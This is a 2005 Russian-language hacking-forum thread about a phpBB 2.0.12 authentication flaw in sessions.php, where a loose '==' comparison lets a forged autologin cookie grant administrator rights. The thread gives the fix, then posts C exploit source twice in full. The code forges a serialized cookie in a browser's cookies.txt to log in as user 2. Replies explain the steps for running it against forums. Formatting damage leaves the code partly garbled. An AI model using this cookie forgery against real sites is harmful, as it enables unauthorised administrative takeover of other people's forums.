Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Мировые новости (https://forum.antichat.xyz/forumdisplay.php?f=23)
-   -   Phpbb 2.0.12 (https://forum.antichat.xyz/showthread.php?t=5274)

madnet 01.03.2005 02:08

Phpbb 2.0.12
 
Уязвимость в PhpBB позволяет удаленному пользователю обойти некоторые ограничения безопасности и получить административные привилегии на форуме.

Уязвимость связана с ошибков в сравнении "sessiondata['autologinid']" и "auto_login_key". В результате возможно получить административные привилегии на форуме. Логическая уязвимость обнаружена в сценарии includes/sessions.php в следующей строке:

if( $sessiondata['autologinid'] == $auto_login_key )
Условие выполняется, если длина $sessiondata['autologinid'], представленная в куки пользователя, равна длине переменной $auto_login_key. Для исправления уязвимости ее необходимо заменить на строку:

if( $sessiondata['autologinid'] === $auto_login_key )
Также сообщается об ошибке в "viewtopic.php", которая позволят раскрыть инсталляционный путь.

http://www.securitylab.ru/52986.html

(-=util=-) 01.03.2005 12:33

блин опередил =\ Добавляю expl
PHP код:

*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argcchar** argv[]) {
FILE *pointer;
char contenido[10000],

cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0
%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22"
,
cookief[9]="%22%3B%7D"cookiec[106],

cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb
%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D"
,
*
pos;
int p=0i=0;

if (
argc!=2) {
printf("Usage: phpbb_exploit.exe user_id\n\n");
exit(
0);
}
pointer=fopen("cookies.txt""r");

if (
pointer) {
fread(contenido30010pointer);
fclose(pointer);
} else {
printf("The file can't be open\n");
exit(
0);
}

strcpy(cookieccookie);
strncat(cookiecargv[1], 6);
strcat(cookieccookief);

if (
pos=strstr(contenidocookiec)) {
p=pos contenido;
while (
i<92) {
if (
cookie_false[i]!=NULL
contenido[p]=cookie_false[i];
p++;
i++;
}
}
else {
printf("The file cookies.txt isn't valid for execute the
exploit or the user id is incorrect\n"
);
exit(
0);
}

if (
pointer=fopen("cookies.txt""w")) {
fputs(contenidopointer);
printf("Cookie modified: \n\n%s\n\n"contenido);
printf("The cookies file has overwriten... looks like the exploit has worked");
} else 
printf("\n\nThe file cookies.txt has not write permissions.");
return 
0;



OvERMiND 01.03.2005 13:48

Скажи что изменять в куках ?, в ручную это сделать надежнее

$h@dow 01.03.2005 15:39

Вроде как эта фишка проходит только на некоторых серверах.
Сейчас буду пробовать...

OvERMiND 01.03.2005 15:54

Цитата:

Сообщение от (-=util=-)
блин опередил =\ Добавляю expl
PHP код:

*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argcchar** argv[]) {
FILE *pointer;
char contenido[10000],

cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0
%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22"
,
cookief[9]="%22%3B%7D"cookiec[106],

cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb
%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D"
,
*
pos;
int p=0i=0;

if (
argc!=2) {
printf("Usage: phpbb_exploit.exe user_id\n\n");
exit(
0);
}
pointer=fopen("cookies.txt""r");

if (
pointer) {
fread(contenido30010pointer);
fclose(pointer);
} else {
printf("The file can't be open\n");
exit(
0);
}

strcpy(cookieccookie);
strncat(cookiecargv[1], 6);
strcat(cookieccookief);

if (
pos=strstr(contenidocookiec)) {
p=pos contenido;
while (
i<92) {
if (
cookie_false[i]!=NULL
contenido[p]=cookie_false[i];
p++;
i++;
}
}
else {
printf("The file cookies.txt isn't valid for execute the
exploit or the user id is incorrect\n"
);
exit(
0);
}

if (
pointer=fopen("cookies.txt""w")) {
fputs(contenidopointer);
printf("Cookie modified: \n\n%s\n\n"contenido);
printf("The cookies file has overwriten... looks like the exploit has worked");
} else 
printf("\n\nThe file cookies.txt has not write permissions.");
return 
0;



Спиздил код даже копирайтов не оставил засранец

OvERMiND 01.03.2005 15:55

Цитата:

Сообщение от $h@dow
Вроде как эта фишка проходит только на некоторых серверах.
Сейчас буду пробовать...

Не от сервера зависит а от форума и браузера, эксплоит вообще под Мозиллу заточен.
В файле cookies.txt в кеше мозиллы эксплоит заменяет строчки.

Чтоб эксплоит сработал нужно залогиниться с выключенной опцией автологин, потом вырубить браузер, запустить сплоит причем файл cookies.txt должен лежать в одной папке с эксплоитом.

Эксплоит делает равными по длине значения параметров
autologin и autologiтkey поэтому собсвтенно всё и происходит

Удачного результат пока ненашёл

$h@dow 01.03.2005 16:19

То что от версии форума зависит это понятно.
Но также важную роль играет версия PHP, нормально ли она обрабатывает "==", поскольку некоторые сравняют лишь длинну строк, а остальные работают как strcmp().

(-=util=-) 01.03.2005 16:37

Цитата:

Спиздил код даже копирайтов не оставил засранец
обоср***ся теперь мне :)) попал....

KEZ 01.03.2005 16:51

Я буду баги искать... Должны быть. Ещё нет ни одной версии без багов

OvERMiND 02.03.2005 19:16

Цитата:

Сообщение от (-=util=-)
обоср***ся теперь мне :)) попал....

Лол :D :D


Время: 08:05